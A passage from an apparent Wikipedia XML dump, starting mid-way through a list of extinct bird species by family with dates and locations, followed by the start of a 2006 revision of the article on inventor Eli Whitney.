:A [[relic species]] from Northeast Asia. Officially [[Endangered species|critically endangered]] due to recent unconfirmed reports. Last confirmed record in [[1964]] near [[Vladivostok]].
* [[Réunion Shelduck]], ''Alopochen kervazoi'' (Réunion, Mascarenes, [[1674]])
* [[Mauritian Shelduck]], ''Alopochen mauritianus'' (Mauritius, Mascarenes, [[1698]])
* [[Amsterdam Island Duck]], ''Anas marecula'' (Amsterdam Island, South Indian Ocean, [[1800]])
* [[Mauritian Duck]], ''Anas theodori'' (Mascarenes, [[1710]])
* [[Finsch's Duck]], ''Chenonetta finschi'' from New Zealand possibly survived to [[1870]]
* [[Pink-headed Duck]], ''Netta caryophyllacea''
:Officially [[Endangered species|critically endangered]] due to parts of its former range not yet being surveyed, but probably extinct. The only area in which it might reasonably still exist is Northern [[Myanmar]] due to its remoteness: the [[Leaf Muntjac]], a species of small deer, was newly described from the Putao area as late as 1998. Reports of Pink-headed Ducks continue to be received from this area, but searches have been inconclusive.
* [[Madagascar Pochard]], ''Aythya innotata'':
:Officially [[Endangered species|critically endangered]], but probably extinct: the last known individual, a semi-captive bird at [[Antananarivo]] Botanic Gardens since 1991, this bird dying in 1992.
* [[Labrador Duck]],  ''Camptorhynchus labradorius''
:This [[eider]]-like sea duck from Northwest [[North America]] was never very common. Although it has been hunted for food, it probably died out because of decline of mussels and shellfish due to pollution. The last one was seen at [[Elmira, New York]], in [[1878]].
* [[Auckland Islands Merganser]], ''Mergus australis'' (Auckland Islands, Southwest Pacific, [[1902]])

===[[Phasianidae|Quail]]s and relatives===
* [[New Zealand Quail]], ''Coturnix novaezelandiae'' (New Zealand, [[1875]])
* [[Himalayan Quail]], ''Ophrysia superciliosa'' (North India)
:Officially critically endangered. Not recorded with certainty since [[1876]], but thorough surveys are still required, and there is a recent set of possible (though unlikely) sightings around [[Naini Tal]] in [[2003]]. A little-known native name from Western [[Nepal]] probably refers to this bird, but for various reasons, no survey for ''Ophrysia'' has ever been conducted in that country, nor is it generally assumed to occur there (due to the native name being overlooked).
* [[Heath Hen]], ''Tympanuchus cupido cupido'', (New England, North America, [[1937]]) - a subspecies of the [[Greater Prairie-Chicken]].
* [[New Mexico Sharp-tailed Grouse]], ''Tympanuchus phasianellus hueyi'' (New Mexico, North America, [[1954]]) - a subspecies of the [[Sharp-tailed Grouse]].

===[[Grebe]]s=== 

* [[Colombian Grebe]], ''Podiceps andinus'' (Colombia, [[1977]])
* [[Atitlán Grebe]], ''Podilymbus gigas'' (Guatemala, [[1986]])

===[[Procellariiformes|Petrels and storm-petrels]]===

* [[Guadalupe Storm Petrel]], ''Oceanodroma macrodacyla'' (Guadalupe, East Pacific)
* [[St Helena Bulwer's Petrel]], ''Bulweria bifax'' (Saint Helena, Atlantic, early [[16th century]])
* [[Jamaican Petrel]], ''Pterodroma caribbaea'' (Jamaica, West Indies)
: Might be a subspecies of the [[Black-capped Petrel]]; unconfirmed reports suggest it might survive.
* ''Pterodroma'' cf. ''leucoptera'' (Mangareva, Gambier Islands, [[20th century]]?)
: A wing of a carcass similar to [[Gould's Petrel]] was recovered on Mangareva in 1922, where it possibly bred. No such birds are known to exist there today.
* [[Falla's Petrel]], ''Pterodroma occulta'' (Vanuatu? [[20th century]]?)
: Only known from 6 specimens taken in [[1927]] near Vanuatu. Might still survive; breeding grounds unknown and was not recognized until [[2001]].
* [[St Helena Gadfly Petrel]], ''Pterodroma rupinarum'' (Saint Helena, Atlantic, early [[16th century]])

===[[Pelecaniformes|Cormorants and related birds]]===

* [[Spectacled Cormorant]], ''Phalacrocorax perspicillatus''

===[[Ciconiiformes|Heron]]s and related birds===
* [[Réunion Night Heron]], ''Nycticorax duboisi'' (Réunion, Mascarenes, [[1674]])
* [[Mauritius Night Heron]], ''Nycticorax mauritianus'' (Mauritius, Mascarenes, [[1700]])
* [[Rodrigues Night Heron]], ''Nycticorax megacephalus'' (Rodrigues, Mascarenes, [[1761]])
* [[Ascension Night Heron]], ''Nycticorax olsoni'' (Ascension Island, Atlantic, late [[16th century]]?)
* [[New Zealand Little Bittern]], ''Ixobrychus novazelandiae'' (New Zealand, [[1900]])
* [[Réunion Sacred Ibis]], ''Threskiornis solitarius'' (Réunion, Mascarenes [[1750]])
:This species was the base for the supposed &quot;Réunion Solitaire&quot;, a supposed relative of the [[Dodo]] and the [[Rodrigues Solitaire]]. Given the fact that ibis, but no dodo-like bones were found on [[Réunion]] and that old descriptions match a flightless Sacred [[Ibis]] quite well, the &quot;Réunion Solitaire&quot; hypothesis has been refuted.
* The &quot;Painted Vulture&quot; (''Sarcorhamphus sacra''), a [[Florida]]n bird supposedly similar to the [[King Vulture]], is based on a misidentification of the [[Crested Caracara]].

===[[Bird of prey]]===
* [[Ndzouani Goshawk]], ''Accipiter francesii pusillus''
:This subspecies of [[Frances' Goshawk]] from Ndzouani (Anjouan), Comoros, was last seen in [[1978]]; given that few habitat remains, it is probably extinct.
* [[Car Nicobar Sparrowhawk]], ''Accipiter butleri butleri'' (Car Nicobar, Nicobar Islands, [[20th century]]?)
: The nominate subspecies of the [[Nicobar Sparrowhawk]] - which is currently listed as [[Endangeered Species|Vulnerable]] - is possibly extinct. It was last reliably recorded in [[1901]] and despite searches, has not been sighted after an unconfirmed record in [[1977]].
* [[Korean Sea Eagle]], ''Haliaeetus pelagicus niger'', a subspecies of [[Steller's Sea Eagle]] (Korea, [[1950]]s)
* [[Guadalupe Caracara]], ''Polyborus lutosus'' (Guadelupe, East Pacific, [[1900]] or [[1903]])
* [[Réunion Kestrel]], ''Falco duboisi'' (Réunion, Mascarenes, c.[[1700]])

===[[Rail (bird)|Rails]]===

* [[Saint Helena Swamphen]], ''Aphanocrex podarces'' (Saint Helena, Atlantic, [[16th century]]) - formerly ''Atlantisia''
* [[Lord Howe Swamphen]], ''Porphyrio albus'' (Lord Howe Island, Southwest Pacific, early [[19th century]])
* [[Marquesan Swamphen]], ''Porphyrio paepae'' (Hiva Oa, Marquesas)
:May have survived into the [[19th century]]. in the lower right corner of [[Paul Gauguin]]'s [[1902]] painting ''Le Sorcier d'Hiva Oa ou le Marquisien à la cape rouge'' there is a bird which reminds of native descriptions of ''P. paepae''.
* [[North Island Takahē]], ''Porphyrio mantelli'' from North Island, New Zealand, may have survived into the [[19th century]].
* [[Oiseau bleu]], ''Porphyrio'' sp. (Réunion, Mascarenes, around [[1750]])
:Known only from descriptions. Former existence of a ''Porphyrio'' on Réunion fairly certain, but not proven to date.
* [[Antillean Cave-Rail]], ''Nesotrochis debooyi'' from Puerto Rico and the Virgin Islands possibly survived into the Modern Era.
* [[Mauritius Red Hen]], ''Aphanapteryx bonasia'' (Mauritius, Mascarenes)
* [[Leguat's Gelinote]], ''Aphanapteryx leguati'' (Rodrigues, Mascarenes)
* [[Hawkins' Rail]], ''Diaphorapteryx hawkinsi'' (Chatham Islands, Southwest Pacific, [[19th century]])
* [[Réunion Rail]], ''Dryolimnas augusti'' (Réunion, Mascarenes, c.[[1700]])
* [[Dieffenbach's Rail]], ''Gallirallus dieffenbachii'' (Chatham Islands, Southwest Pacific)
* [[Chatham Islands Rail]], ''Gallirallus modestus'' (Chatham Islands, Southwest Pacific)
* [[Tahitian Red-billed Rail]], ''Gallirallus pacificus'' (Tahiti, Society Islands)
* [[Wake Island Rail]], ''Gallirallus wakensis'' (Wake Island, Micronesia)
* [[Ascension Island Rail]], ''Mundia elpenor'' (Ascension, Island, Atlantic, late [[17th century]]) - formerly ''Atlantisia''
* [[Saint Helena Crake]], ''Porzana astrictocarpus'' (Saint Helena, Atlantic, early [[16th century]])
* [[Kosrae Island Crake]], ''Porzana monasa'' (Kosrae, Carolines)
* [[Laysan Rail]], ''Porzana palmeri'' (Laysan Island, Hawaiʻian Islands, [[1943]])
* [[Hawaiian Rail]], ''Porzana sandwichensis'' (Big Island, Hawaiʻian Islands)
* [[Samoan Wood Rail]], ''Pareudiastes pacificus''
* [[Tristan Moorhen]], ''Gallinula nesiotis'' (Tristan da Cunha, Atlantic)
* [[Mascarene Coot]], ''Fulica newtonii'' (Mauritius and Réunion, Mascarenes, c.[[1700]])
* Rallidae gen. et sp. indet.
:Unknown rail from [[Amsterdam Island]], one specimen found but not recovered. Extinct by [[1800]].

===[[Charadriiformes|Shorebirds, gulls and auks]]===
* [[Javanese Lapwing]], ''Vanellus macropterus'' 
* [[Tahitian Sandpiper]], ''Prosobonia leucoptera''
* [[White-winged Sandpiper]], ''Prosobonia ellisi''
* [[Eskimo Curlew]], ''Numenius borealis'' - may still exist; officially classified as [[Endangered species|critically endangered]]
* [[Great Auk]], ''Alca impennis'' or ''Pinguinus impennis''. At 75 centimeters, the flightless Great Auk was the largest of the [[auk]]s. It was hunted to extinction for food and down for mattresses. The last pair were killed [[July 3]], [[1844]].
* [[Canarian Black Oystercatcher]], ''Haematopus meadewaldoi''

===[[Pigeon]]s, doves and [[dodo]]s===
[[Image:ExtinctDodoBird.jpeg|right|frame|Dodo]]
* [[Saint Helena Flightless Pigeon]], ''Dysmoropelia dekarchiskos'', possibly survived into the Modern Era.
* [[Passenger Pigeon]], ''Ectopistes migratorius''
:The passenger pigeon was once probably the most common bird in the world, a single  swarm numbering up to several billion birds. It was hunted close to extinction for food and sport in the late 19th century. The last individual died in the [[Cincinnati Zoo]] in [[1914]].
* [[Madeiran Wood Pigeon]], ''Columba palumbus maderensis'', the [[Madeira]]n subspecies of the [[Wood Pigeon]]
* [[Réunion Pigeon]], ''Columba duboisi'' (Réunion, Mascarenes)
* [[Rodrigues Pigeon]], ''Columba rodericana'' (Rodrigues, Mascarenes) - possibly subspecies of the [[Madagascar Pigeon]]
* The [[Silvery Pigeon]], ''Columba argentina'', has not been observed for considerable time and may be extinct.
* [[Bonin Wood Pigeon]], '' Columba versicolor''
* [[Lord Howe Metallic Pigeon]], ''Coluumba vitiensis godmanae'', the [[Lord Howe Island]] subspecies of the [[Metallic Pigeon]]
* [[Ryukyu Pigeon]], ''Columba jouyi''
* [[Choiseul Crested Pigeon]], ''Microgoura meeki'' (Choiseul, Solomon Islands)
* [[Liverpool Pigeon]], ''&quot;Caloenas&quot; maculata''
:Also known as the Spotted Green Pigeon, the only specimen has been in [[Liverpool]] Museum since 1851, and was probably collected on a [[Pacific]] island for [[Edward Stanley, 13th Earl of Derby]]. It has been suggestes that this bird came from [[Tahiti]] based on native lore about a somewhat similar extinct bird called ''titi'', but this has not been verified.
* [[Dodo]], ''Raphus cucullatus''
:Called ''Didus ineptus'' by [[Carolus Linnaeus|Linnaeus]]. A meter-high (yard-high) flightless bird found on [[Mauritius]]. Its forest habitat was lost when Dutch settlers moved to the island and the dodo's nests were destroyed by the monkeys, pigs, and cats the Dutch brought with them.  The last specimen was killed in [[1681]], only 80 years after the arrival of the new predators. See also [[dodo tree]].
* [[Rodrigues Solitaire]], ''Pezophaps solitaria'' (Rodrigues, Mascarenes, c.[[1730]])
* For the &quot;Réunion Solitaire&quot;, see [[Réunion Flightless Ibis]].
* [[Marquesas Fruit Pigeon]], ''Ptilinopus mercierii''
* [[Mauritius Blue Pigeon]], ''Alectroenas nitidissima'' (Mauritius, Madcarenes, [[19th century]])
* [[Rodrigues Grey Pigeon]], ''&quot;Alectroenas&quot; rodericana'' (Rodrigues, Mascarenes)
: A mysterious bird of unknown affinities, known from one or two bones and the description of [[François Leguat]].
* [[Tanna Ground Dove]], ''Gallicolumba ferruginea'' (Tanna, Vanuatu)
* [[Thick-billed Ground Dove]], ''Gallicolumba salamonis''
* [[Norfolk Island Ground Dove]], ''Gallicolumba norfolciensis'' (Norfolk Island, Southwest Pacific)

===[[Parrot]]s===
* [[Norfolk Island Kaka]], '' Nestor productus'' (Norfolk Island, Southwest Pacific, [[1851]])
* [[Paradise Parrot]], ''Psephotus pulcherrimus'' (Australia, [[1927]])
* [[Society Parakeet]], ''Cyanoramphus ulietanus''	
* [[Black-fronted Parakeet]], ''Cyanoramphus zealandicus''
* [[Macquarie Island Red-crowned Parakeet]], ''Cyanoramphus erythrotis erythrotis'' (Macquarie Islands, Southwest Pacific)
* [[Lord Howe Island Red-fronted Parakeet]], ''Cyanoramphus novaezelandiae subflavescens'' (Lord Howe Island, Southwest Pacific)
* [[Seychelles Parakeet]], ''Psittacula wardi'' (Seychelles, [[1883]])
* [[Newton's Parakeet]], ''Psittacula exsul'' (Rodrigues, Mascarenes, [[1875]])
* [[Carolina Parakeet]], ''Conuropsis carolinensis''
:The only parrot native to the eastern [[United States|US]], the Carolina Parakeet was hunted to extinction for its plumage and to prevent damage to crops; it also suffered from destruction of its habitat. The last one died in the Cincinnati Zoo in [[1918]].
* [[Mascarene Parrot]], ''Mascarinus mascarinus''	
* [[Broad-billed Parrot]], ''Lophopsittacus mauritianus'' (Mauritius, Mascarenes, [[1680]])
:A smaller related form described as Mauritius Grey Parrot (''Lophopsittacus bensoni''), may be the female of ''L. mauritianus''.
* [[Rodrigues Parrot]], ''Necropsittacus rodericanus''
:The species ''N. borbonicus'' and ''N. francicus'' are almost certainly fictional.
* [[Glaucous Macaw]], ''Anodorhynchus glaucus'' (North Argentina)
:Officially [[Endangered species|critically endangered]] due to persistent rumours of wild birds, but probably extinct. 
* [[Cuban Red Macaw]], ''Ara tricolor'' (Cuba, West Indies)
:A number of related species have been described from the West Indies, but are not based on good evidence. Several prehistoric forms are now known to have existed in the region, however.
* [[Martinique Amazon]], ''Amazona martinica'' (Martinique, West Indies)
* [[Guadeloupe Amazon]], ''Amazona violacea'' (Guadeloupe, West Indies)
:The extinct amazon parrots were originally described after travelers' descriptions. Both are nowadays considered valid extinct species closely related to the [[Imperial Parrot]].
* [[New Caledonian Lorikeet]], ''Charmosyna diadema''
:Officially [[Endangered species|critically endangered]], there have been no reliable reports of this bird since the early [[20th century]].

===[[Cuckoo]]s===	

* [[Delalande's Coua]], ''Coua delalandei'' (Madagascar)
* [[Saint Helena Cuckoo]], ''Nannococcyx psix'' (Saint Helena, Atlantic, [[16th century]])

===[[Owl]]s===
* [[Reunion Owl]], ''Mascarenotus grucheti'' (Réunion, Mascarenes, early [[17th century]])
* [[Mauritius Owl]], ''Mascarenotus sauzieri'' (Mauritus, Mascarenes, c.[[1850]]) - synonyms: ''Otus/Scops commersoni, Strix newtoni, Strix sauzieri''
* [[Rodrigues Little Owl]], ''Mascarenotus murivora'' (Rodrigues, Mascarenes, mid-[[18th century]]) - synonyms: ''Athene murivora, Bubo leguati''
* [[Sulu Reddish Scops Owl]], ''Otus rufescens burbidgei'' (Sulu, Philippines, mid-[[20th century]])
:A subspecies of the [[Reddish Scops Owl]]. Known from a single questionable specimen and may not be valid.
* [[Virgin Islands Screech Owl]], ''Otus nudipes newtoni''
:A subspecies of the [[Puerto Rican Screech Owl]] of somewhat doubtful validity which occurred on several of the Virgin Islands, West Indies. The last reliable records are in [[1860]]; it was not found in thorough surveys in [[1995]].
* [[Socorro Elf Owl]], ''Micrathene whitneyi graysoni'' (Socorro, Revillagigedo Islands, [[1970]])
* [[Antiguan Burrowing Owl]], ''Athene cunicularia amaura'' (Antigua, St Kitts and Nevis, West Indies, c.[[1905]]) - subspecies of the [[Burrowing Owl]]
* [[Bahaman Burrowing Owl]], ''Athene cunicularia guadeloupensis'' (Guadeloupe and Marie-Galante, West Indies, c.[[1890]]) - subspecies of the [[Burrowing Owl]]
* [[New Caledonian Boobook]], ''Ninox'' cf. ''novaeseelandiae'' (New Caledonia, Melanesia)
:Known only from prehistoric bones, but might still survive.
* [[Lord Howe Island Morepork]], ''Ninox novaezelandia albaria'' (Lord Howe Island, Southwest Pacific, [[1950]]s) - subspecies of the [[Southern Boobook]]
* [[Norfolk Island Morepork]], ''Ninox novaeseelandiae undulata'' (Norfolk Island, Southwest Pacific, [[1996]])
:Individuals of the [[Southern Boobook|nominate subspecies]] were introduced in a last-ditch effort to save the local owl population. There now exists a hybrid population of a few dozen birds; the last individual of ''N. n. undulata'', a female named ''Miamiti'' died in [[1996]].
* [[Laughing Owl]], ''Sceloglaux albifacies'' (New Zealand, [[1914]]?) - two subspecies, ''S. a. albifacies'' and ''S. a. rufifacies''
* [[Cave-nesting Masked Owl]], ''Tyto novaehollandiae troughtoni'' (Nullarbor Plain, Australia, [[1960]]s)
:Doubtfully distinct from [[Australian Masked Owl|nominate subspecies]], but differed behaviorally.
* [[Buru Masked Owl]], ''Tyto sororcula cayelii'' (Buru, Indonesia, mid-[[20th century]])
:Subspecies of [[Lesser Masked Owl]]. Last seen in [[1921]]; the identity of a similar bird found on Seram remains to be determined.
* [[Peleng Masked Owl]], ''Tyto rosenbergii pelengensis'' (Peleng, Banggai Islands, [[mid-20th century]])
:Subspecies of [[Sulawesi Owl]] or separate species. Possibly extant, but only specimen known taken in [[1938]] and no further records.
* [[Samar Bay Owl]], ''Phodilus badius riverae'' (Samar, Philippines, mid-[[20th century]])
:Subspecies of [[Oriental Bay Owl]] or possibly distinct species. Taxonomy doubtful but only specimen lost in [[1945]] bombing raid so validity cannot be verified; no population exists on Samar today.

===[[Nightjar]]s===	

* [[Jamaican Parauque]], ''Siphonorhis americana'' (Jamaica, West Indies, late [[19th century]]
:Reports of unidentifiable nightjars in habitat appropriate for ''S. americanus'' suggest that this cryptic species may still exist. Research into this possibility is currently underway.
* [[Cuban Parauque]], ''Siphonorhis daiquiri'' (Cuba, West Indies)
:Described from [[subfossil]] bones in [[1985]]. There are persistent rumors that this bird, which was never seen alive by scientists, may still survive. Compare [[Puerto Rican Nightjar]].
* [[New Caledonian White-throated Eared-Nightjar]], ''Eurostopodus mystacalis exsul'' (New Caledonia, Melanesia, mid-[[20th century]])
:This distinct subspecies of the [[White-throated Eared-Nightjar]] is possibly a separate species. It was found only once; due to its cryptic habits, it possibly still exists, but this is now considered unlikely.
* [[Vaurie's Nightjar]], ''Caprimulgus centralasicus''
:Only known from a single [[1929]] specimen from Xinjiang, China. It has never been found again, and it is quite possibly invalid as it has not yet been compared to the similar subspecies of the [[European Nightjar]], ''C. europaeus plumipes'' which occurs at the locality where ''C. centralasicus'' was found.

===[[Hummingbird]]s===
* [[Coppery Thorntail]], ''Discosura letitiae'' (Bolivia?)
:Known only from 3 trade specimens of unknown origin. Might still exist.
* [[Brace's Emerald]], ''Chlorostilbon bracei'' (New Providence, Bahamas, late [[19th century]])
* [[Gould's Emerald]], ''Chlorostilbon elegans'' (Jamaica or northern Bahamas, West Indies, late [[19th century]])
* [[Alfaro's Hummingbird]], ''Saucerottia alfaroana'' (Costa Rica, c.[[1900]])
* [[Bogota Sunangel]], ''Heliangelus zusii'' (Colombia?)
:A mysterious bird known only from a single specimen of unknown origin. Might be a hybrid (although the specimen is very distinct) or might still exist.
* [[Alejandro Selkirk Firecrown]], ''Sephanoides fernandensis leyboldi'' (Alejandro Selkirk Island, Juan Fernandez Islands, Southeast Pacific, [[1908]]) - subspecies of the [[Juan Fernandez Firecrown]].

===[[Coraciiformes|Kingfishers and related birds]]===	
* [[Ryukyu Kingfisher]], ''Halcyon miyakoensis'' (Miyako-jima, Ryukyu Islands, late [[19th century]])
:This was probably a sub-species of the [[Micronesian Kingfisher]] ''Halycon cinnamomina''. Only seen once by scientists, in [[1887]]; the specimen taken is somewhat damaged, making identification by other than molecular analysis difficult.
* [[Mangareva Kingfisher]], ''Todiramphus gambieri gambieri'' (Mangareva, Tuamotus, late [[19th century]])
:Only known from a single [[1844]] specimen, the nominate subspecies of the [[Tuamotu Kingfisher]] was not found anymore when it was next searched for in [[1922]].
* [[Javan Blue-banded Kingfisher]], ''Alcedo euryzona euryzona'' (Java, Indonesia, mid-[[20th century]])
:The nominate subspecies of the [[Blue-banded Kingfischer]]; the last specimen was taken in [[1937]] and the last unconfirmed records are fron the [[1950s]].
* [[Guadalcanal Little Kingfisher]], ''Alcedo pusilla aolae'' (Guadalcanal, Solomon Islands)
:This subspecies of the [[Little Kingfisher]] is probably extinct.
* [[Malaita Variable Kingfisher]], ''Ceyx lepidus malaitae'' (Malaita, Solomon Islands)
:A subspecies of the [[Variable Kingfisher]] which has not been observed in a long time and is probably extinct.
* [[Sakarha Pygmy Kingfisher]], ''Ispidina madagascariensis dilutus'' (Southwest Madagascar, late [[20th century]]?)
:This subspecies of the [[Madagascar Pygmy Kingfisher]] is only known from one specimen taken in [[1974]] in an area where most habitat had already been lost.
* [[Giant Hoopoe]], ''Upupa antaois'' (Saint Helena, Atlantic, early [[16th century]])
* [[Ticao Tarictic Hornbill]], ''Penelopides panini ticaensis'' (Ticao, Philippines, [[1970]]s)
*A subspecies of the [[Tarictic Hornbill]] of somewhat uncertain status - possibly a distinct species, possibly a color morph -; the last confirmed report was in [[1971]] and it became extinct shortly thereafter.

===[[Piciformes|Woodpecker]]s and related birds===
* [[Northern White-mantled Barbet]], ''Capito hypoleucus hypoleucus'' (Colombia, mid-[[20th century]])
:The nominate subspecies of the [[White-mantled Barbet]] has not been seen since the late [[1940]]s and its habitat has been almost completely destroyed.
* [[Botero White-mantled Barbet]], ''Capito hypoleucus carrikeri'' (Colombia, mid-[[20th century]])
:Another subspecies of the [[White-mantled Barbet]], last seen in [[1950]].
* [[Guadalupe Flicker]], ''Colaptes cafer rufipileus'' (Guadalupe, East Pacific, c.[[1910]])
:A subspecies of the Red-shafted Flicker (or the [[Northern Flicker]], as ''C. auratus rufipileus''), it was last recorded in [[1906]] and not found anymore in [[1922]]. Recently, vagrant birds of a mainland subspecies have begun recolonizing the island as the habitat improves after the removal of feral goats.
* [[Caatinga woodpecker]], ''Celeus obrieni'' (Western Piauí, Brazil, mid-[[20th century]])
:This bird is known from a single specimen taken in [[1926]] and was long believed to be a subspecies of the [[Rufous-headed Woodpecker]]. As it was confined to ''caatinga'' habitat, which has been largely destroyed, it is most likely extinct.
* [[Imperial Woodpecker]], ''Campephilus imperialis'' (Mexico, late [[20th century]])
:This 60-centimeter-long woodpecker is officially listed as [[endangered species|critically endangered]] and is believed to now be extinct. Occasional unconfirmed reports come up, the most recent in late [[2005]].
* [[Javan Buff-rumped Woodpecker]], ''Meiglyptes tristis tristis'' (Java, Indonesia, c.[[1920]])
:The nominate subspecies of the [[Buff-rumped Woodpecker]] became rare during the [[19th century]] due to destruction of habitat. The last confirmed record was in [[1880]], and it obviously became extinct in the early [[20th century]].

* The [[Ivory-billed Woodpecker]], ''Campephilus principalis'', was believed to be extinct since 1987, when the last positive sighting was made in [[Cuba]].  However, at least one living male was apparently rediscovered in [[Arkansas]] in [[2004]] and [[2005]].

===[[Passerine]]s===	

* [[Stephens Island Wren]], ''Xenicus lyalli''	(New Zealand, [[1894]])
* [[Bush Wren]], ''Xenicus longipes'' (New Zealand, [[1972]])
:3 subspecies: ''X. l. stokesi'' - North Island, extinct [[1955]]; ''X. l. longipes'' - South Island, extinct [[1968]]; ''X. l. variabilis'' - Stewart Island, extinct [[1972]].
* [[North Island Piopio]], ''Turnagra tanagra''	(North Island, New Zealand, [[1955]])
* [[South Island Piopio]], ''Turnagra capensis'' (South Island, New Zealand, [[1963]])
* [[Kioea]], ''Chaetoptila angustipluma''	
* [[Hawaiʻi ʻOʻo]], ''Moho nobilis'' (Big Island, Hawaiʻian Islands)
* [[Oʻahu ʻOʻo]], ''Moho apicalis'' (Oʻahu, Hawaiʻian Islands)
* [[Molokaʻi ʻOʻo]], ''Moho bishopi''	 (Molokaʻi and probably Maui, Hawaiʻian Islands)
* [[Kauai Oo|Kauaʻi ʻOʻo]], ''Moho braccatus'' (Kauaʻi, Hawaiʻian Islands, [[1987]])
* [[Lord Howe Gerygone]], ''Gerygone insularis''
* [[Huia]], ''Heteralocha acutirostris'' (North Island, New Zealand, [[1907]])
* [[Maupiti Monarch]], ''Pomarea pomerea'' (Maupiti, Society Islands, [[1850]])
* [[Guam Flycatcher]], ''Myiagra freycineti'' (Guam, Marianas)
* [[Bonin Islands Thrush]], ''Zoothera terrestris''
* [[Grand Cayman Thrush]], ''Turdus ravidus''	
* [[Bay Thrush]], ''&quot;Turdus&quot; ulietensis'' (Raiatea, Society Islands, between [[1774]] and [[1850]])
:A completely mysterious bird from [[Raiatea]], now only known from a painting and some descriptions of a (now lost) specimen. Its [[Taxonomy|taxonomic]] position is unresolvable, although for [[Biogeography|biogeographic]] reasons and because of the surviving description, it has been suggested to have been a [[honeyeater]]. However, with the discovery of fossils of the prehistorically extinct [[starling]] ''[[Aplonis diluvialis]]'' on neighboring [[Huahine]], it seems more likely that this bird also belonged into this genus.
* [[Kosrae Island Starling]], ''Aplonis corvina'' (Kosrae, Carolines)
* [[Mysterious Starling]], ''Aplonis mavornata'' (Mauke, Cook Islands)
* [[Norfolk and Lord Howe Starling]], ''Aplonis fusca'' (Norfolk Island and Lord Howe Island, Southwest Pacific)
* [[Bourbon Crested Starling]], ''Fregilupus varius'' (Réunion, Mascarenes)
* [[Rodrigues Starling]], ''Necropsar rodericanus'' (Rodrigues, Mascarenes)
:The bird variously described as ''Testudophaga bicolor'', ''Necropsar leguati'' or ''Orphanopsar leguati'' which was considered to be identical with ''N. rodericanus'' (which is only known from fossils) was finally resolved to be based on a misidentified partially [[albinism|albinistic]] specimen of the [[Martinique Trembler]] (''Cinclocerthia gutturalis'') (Olson ''et al.'', Bull. B.O.C. '''125''':31).
* [[Lord Howe Island White-eye]], ''Zosterops strenua''
* [[Aldabran Brush Warbler]], ''Nesillas aldabranus''
* [[Chatham Islands Fernbird]], ''Bowdleria rufescens''
* [[Eastern Canary Islands Chiffchaff]], ''Phylloscopus canariensis exsul'' (Lanzarote and possibly Fuerteventura, Canary Islands, [[1986]])
:A subspecies of the [[Canary Islands Chiffchaff]].
* [[Bonin Islands Grosbeak]], ''Chaunoproctus ferreorostris''
* [[Hawaiian honeycreeper|Akialoa]],''Hemignathus obscurus''	
* [[Hawaiian honeycreeper|Ula-ʻai-hawane]], ''Ciridops anna''	
* [[Hawaiian honeycreeper|Black Mamo]], ''Drepanis funerea''	
* [[Hawaiian honeycreeper|Hawaii Mamo]], ''Drepanis pacifica''
* [[Hawaiian honeycreeper|Kakawahie]], ''Paroreomyza flammea''	
* [[Hawaiian honeycreeper|Kona Grosbeak]], ''Psittirostra kona''
* [[Hawaiian honeycreeper|Lesser Koa-finch]], ''Rhodacanthus flaviceps''
* [[Hawaiian honeycreeper|Greater Koa-finch]], ''Rhodacanthus palmeri''	
* [[Hawaiian honeycreeper|Greater Amakihi]], ''Viridonia sagittirostris''
* [[Po'o-uli|Poʻo-uli]], ''Melamprosops phaeosoma'' (Maui, Hawaiʻian Islands)
:The most recent extinction on this list. What was most likely the last known bird has died in captivity on [[28 November]] [[2004]].
* [[Slender-billed Grackle]], ''Quiscalus palustris'' (Mexico, [[1910]])
* [[Bachman's Warbler]], ''Vermivora bachmanii''

==See also==
* [[List of extinct animals]]
* [[Prehistoric bird]]s

==External links and references==

* [http://www.redlist.org/ The IUCN Red List of Threatened Species]
* [http://www.stockpix.com/stock/animals/birds/extinctbirds/ Extinct Birds Stock Photography]
* [http://www.abirdshome.com/Audubon/extinct.html Extinct Birds from John James Audubon's Birds of America]
* [http://www.nrm.se/jourhavande_biolog/sida15.html Utrotade faaglar] (in Swedish)
* [http://www.kcc.org.nz/birds/extinct/list.asp New Zealand Extinct Birds List]
* [http://groups.yahoo.com/group/extinctbirds/ Extinct bird forum]
* [http://extinct.petermaas.nl The Extinction Website]

List adapted from that in ''Extinct Birds'', Fuller, ISBN 0-19-850837-9
(Extinct Birds is an absorbing study of the world's recently extinct bird species, the first complete survey since [[Walter Rothschild]]'s classic work of 1907)

[[Category:Extinct birds|*]]
[[Category:Ornithology]]

[[de:Ausgestorbene Vögel]]
[[fr:Liste des espèces d'oiseaux disparues]]
[[pt:Aves extintas]]</text>
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  </page>
  <page>
    <title>Eli Whitney</title>
    <id>9732</id>
    <revision>
      <id>42076150</id>
      <timestamp>2006-03-03T17:36:50Z</timestamp>
      <contributor>
        <username>Hansnesse</username>
        <id>247414</id>
      </contributor>
      <comment>rv/v to last edit by Hansnesse</comment>
      <text xml:space="preserve">[[Image:Whitney-Eli-LOC.jpg|thumb|Eli Whitney]]
'''Eli Whitney''' ([[December 8]], [[1765]] - [[January 8]], [[1825]]) was an [[United States|American]] [[inventor]] and manufacturer. 

==Biography==
Born on December 8,1765 in [[Westborough, Massachusetts|Westborough]], [[Massachusetts]], the son of a farmer, Whitney graduated from [[Yale University|Yale]] College in [[1792]], where he was elected to [[Phi Beta Kappa]]. On [[January 6]], [[1817]] he married Henrietta Edwards and they had four children.

==Invention and innovation== 
[[Image:Cotton-gin.jpg|left|thumb|Cotton gin]]


===Cotton gin===
Whitney is credited with creating the first and the only [[cotton gin]] in [[1793]], a mechanical device which removed the seeds from [[cotton]], a process which until that time had been extremely labor-intensive. This contributed to the economic development of the [[Southern states]] of the United States, a prime cotton growing area; some historians believe that this invention allowed for the African [[slavery]] system in the Southern United States to become more sustainable at a critical point in its development.

While his ideas were innovative and useful, they were so easy to understand and reproduce that the concepts and designs were readily duplicated by others.  Whitney's company that produced cotton gins went out of business in [[1797]].

There exists question today over whether the cotton gin, which Whitney received a [[patent]] for on [[March 14]], [[1794]], and its constituent elements should rightly be attributed to Eli Whitney; some contend that [[Catherine Littlefield Greene]] should be credited with the invention of the cotton gin, or at least its conception.  It is known that she associated with Eli Whitney (along with other historical figures such as [[George Washington|George]] and [[Martha Washington]]).

===Interchangable parts===
Eli Whitney is also credited with the creation of [[interchangeable parts]] and of [[mass production]] of rifles in the late 18th and early 19th centuries. The [[Eli Whitney Museum]] is now housed in his former musket factory. Whitney is remembered, and appreciated by many farmers today.

==External links==
*[http://www.eliwhitney.org/ The Eli Whitney Museum]
*[http://www.cottontimes.co.uk/whitneyo.htm Essay] from [http://www.cottontimes.co.uk/ Cotton Times]
